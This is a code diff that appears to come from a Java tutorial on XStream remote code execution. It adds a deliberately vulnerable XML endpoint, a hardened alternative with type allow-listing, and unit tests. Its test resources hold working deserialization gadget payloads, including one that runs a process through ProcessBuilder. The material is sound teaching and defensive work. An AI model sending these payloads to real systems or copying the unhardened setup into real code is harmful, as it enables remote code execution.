BAEL-2121 XStream RCE

xstream/pom.xml

@@ -11,6 +11,7 @@
         <groupId>com.baeldung</groupId>
         <artifactId>parent-modules</artifactId>
         <version>1.0.0-SNAPSHOT</version>
+        <relativePath>../pom.xml</relativePath>
     </parent>
 
     <dependencies>
@@ -28,8 +29,8 @@
     </dependencies>
 
     <properties>
-        <xstream.version>1.4.9</xstream.version>
+        <xstream.version>1.4.10</xstream.version>
         <jettison.version>1.3.8</jettison.version>
     </properties>
 
-</project>
+</project>

xstream/src/main/java/com/baeldung/rce/App.java

@@ -0,0 +1,92 @@
+package com.baeldung.rce;
+
+import com.sun.net.httpserver.HttpServer;
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.security.NoTypePermission;
+import com.thoughtworks.xstream.security.NullPermission;
+import com.thoughtworks.xstream.security.PrimitiveTypePermission;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Web application which is intentionally vulnerable to an XStream remote code
+ * exploitation (RCE).
+ *
+ * <p>
+ * This test application is meant to maintain a set of {@link Person} models. It
+ * exposes a "/persons" endpoint which supports the following operations:
+ *
+ * <ol>
+ * <li>{@code POST} XML for adding a new {@link Person} to the set
+ * <li>{@code GET} for retrieving the set of {@link Person} models as XML
+ * </ol>
+ *
+ * The {@code POST} handler is vulnerable to an RCE exploit.
+ */
+public final class App {
+
+    public static App createHardened(int port) {
+        final XStream xstream = new XStream();
+        xstream.addPermission(NoTypePermission.NONE);
+        xstream.addPermission(NullPermission.NULL);
+        xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
+        xstream.allowTypes(new Class<?>[] { Person.class });
+        return new App(port, xstream);
+    }
+
+    public static App createVulnerable(int port) {
+        return new App(port, new XStream());
+    }
+
+    private final int port;
+    private final Set<Person> persons;
+    private final XStream xstream;
+    private HttpServer server;
+
+    private App(int port, XStream xstream) {
+        this.port = port;
+        persons = new HashSet<>();
+        // this app is vulnerable because XStream security is not configured
+        this.xstream = xstream;
+        this.xstream.alias("person", Person.class);
+    }
+
+    void start() throws IOException {
+        server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
+        server.createContext("/persons", exchange -> {
+            switch (exchange.getRequestMethod()) {
+            case "POST":
+                final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
+                persons.add(person);
+                exchange.sendResponseHeaders(201, 0);
+                exchange.close();
+                break;
+            case "GET":
+                exchange.sendResponseHeaders(200, 0);
+                xstream.toXML(persons, exchange.getResponseBody());
+                exchange.close();
+                break;
+            default:
+                exchange.sendResponseHeaders(405, 0);
+                exchange.close();
+            }
+        });
+        server.start();
+    }
+
+    void stop() {
+        if (server != null) {
+            server.stop(0);
+        }
+    }
+
+    int port() {
+        if (server == null)
+            throw new IllegalStateException("Server not started");
+        return server.getAddress()
+            .getPort();
+    }
+}

xstream/src/main/java/com/baeldung/rce/Person.java

@@ -0,0 +1,43 @@
+package com.baeldung.rce;
+
+import java.util.Objects;
+
+/** Person model */
+public final class Person {
+
+    private String first;
+    private String last;
+
+    public String getFirst() {
+        return first;
+    }
+
+    public void setFirst(String first) {
+        this.first = first;
+    }
+
+    public String getLast() {
+        return last;
+    }
+
+    public void setLast(String last) {
+        this.last = last;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) {
+            return true;
+        }
+        if (!(o instanceof Person)) {
+            return false;
+        }
+        Person person = (Person) o;
+        return Objects.equals(first, person.first) && Objects.equals(last, person.last);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(first, last);
+    }
+}

xstream/src/test/java/com/baeldung/rce/AppUnitTest.java

@@ -0,0 +1,65 @@
+package com.baeldung.rce;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.SocketException;
+import java.net.URL;
+
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Unit test which demonstrates a remote code exploit against the {@link App}
+ * server. Sends an XML request containing an attack payload to the {@code POST}
+ * endpoint.
+ */
+public final class AppUnitTest {
+
+    private App app;
+
+    /** start a new web server */
+    @Before
+    public void before() throws IOException {
+        app = App.createVulnerable(0);
+        app.start();
+    }
+
+    /** stop the web server */
+    @After
+    public void after() {
+        if (app != null)
+            app.stop();
+    }
+
+    /**
+     * Test passes when an {@link IOException} is thrown because this indicates that
+     * the attacker caused the application to fail in some way. This does not
+     * actually confirm that the exploit took place, because the RCE is a
+     * side-effect that is difficult to observe.
+     */
+    @Test(expected = SocketException.class)
+    public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
+        // POST the attack.xml to the application's /persons endpoint
+        final URL url = new URL("http://localhost:" + app.port() + "/persons");
+        final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
+        connection.setRequestMethod("POST");
+        connection.setDoOutput(true);
+        connection.setUseCaches(false);
+        connection.setRequestProperty("Content-Type", "application/xml");
+        connection.connect();
+        try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
+            byte[] buffer = new byte[1024];
+            while (is.read(buffer) > 0) {
+                os.write(buffer);
+            }
+        }
+        final int rc = connection.getResponseCode();
+        connection.disconnect();
+        assertTrue(rc >= 400);
+    }
+}

xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java

@@ -0,0 +1,7 @@
+package com.baeldung.rce;
+
+/**
+ * Indicates a successful remote code execution attack has taken place.
+ */
+final class AttackExploitedException extends RuntimeException {
+}

xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java

@@ -0,0 +1,13 @@
+package com.baeldung.rce;
+
+/**
+ * Class which contains an action to throw {@link AttackExploitedException}.
+ * This helper is used by {@link AppTest} to determine when the remote code
+ * exploit has taken place.
+ */
+final class AttackExploitedExceptionThrower {
+
+    public void throwAttackExploitedException() {
+        throw new AttackExploitedException();
+    }
+}

xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java

@@ -0,0 +1,82 @@
+package com.baeldung.rce;
+
+import com.thoughtworks.xstream.XStream;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.Map;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Demonstrates XStream basics
+ */
+public final class XStreamBasicsUnitTest {
+
+    private XStream xstream;
+
+    @Before
+    public void before() {
+        xstream = new XStream();
+        xstream.alias("person", Person.class);
+    }
+
+    @Test
+    public void whenWritePerson_thenWritesExpectedXml() {
+        Person person = new Person();
+        person.setFirst("John");
+        person.setLast("Smith");
+
+        String xml = xstream.toXML(person);
+
+        // @formatter:off
+        String expected = ""
+            + "<person>\n"
+            + "  <first>John</first>\n"
+            + "  <last>Smith</last>\n"
+            + "</person>";
+        // @formatter:on
+        assertEquals(expected, xml);
+
+    }
+
+    @Test
+    public void whenReadXmlAsPerson_thenReturnsNewPerson() {
+        // @formatter:off
+        String xml = ""
+            + "<person>"
+            + "  <first>John</first>"
+            + "  <last>Smith</last>"
+            + "</person>";
+        // @formatter:on
+
+        Person person = (Person) xstream.fromXML(xml);
+
+        Person expected = new Person();
+        expected.setFirst("John");
+        expected.setLast("Smith");
+        assertEquals(person, expected);
+    }
+
+    @Test
+    public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
+        // @formatter:off
+        String xml = ""
+            + "<map>"
+            + "  <element>"
+            + "    <string>foo</string>"
+            + "    <int>10</int>"
+            + "  </element>"
+            + "</map>";
+        // @formatter:on
+        @SuppressWarnings("unchecked")
+        Map<String, Integer> actual = (Map<String, Integer>) xstream.fromXML(xml);
+
+        final Map<String, Integer> expected = Collections.singletonMap("foo", 10);
+
+        assertEquals(expected, actual);
+    }
+
+}

xstream/src/test/resources/attack.xml

@@ -0,0 +1,12 @@
+<sorted-set>
+    <string>foo</string>
+    <dynamic-proxy>
+        <interface>java.lang.Comparable</interface>
+        <handler class="java.beans.EventHandler">
+            <target
+                class='com.baeldung.rce.AttackExploitedExceptionThrower'>
+            </target>
+            <action>throwAttackExploitedException</action>
+        </handler>
+    </dynamic-proxy>
+</sorted-set>

xstream/src/test/resources/calculator-attack.xml

@@ -0,0 +1,16 @@
+    <sorted-set>
+        <string>foo</string>
+        <dynamic-proxy>
+            <interface>java.lang.Comparable</interface>
+            <handler class="java.beans.EventHandler">
+                <target
+                    class="java.lang.ProcessBuilder">
+                    <command>
+                        <string>open</string>
+                        <string>/Applications/Calculator.app</string>
+                    </command>
+                </target>
+                <action>start</action>
+            </handler>
+        </dynamic-proxy>
+    </sorted-set>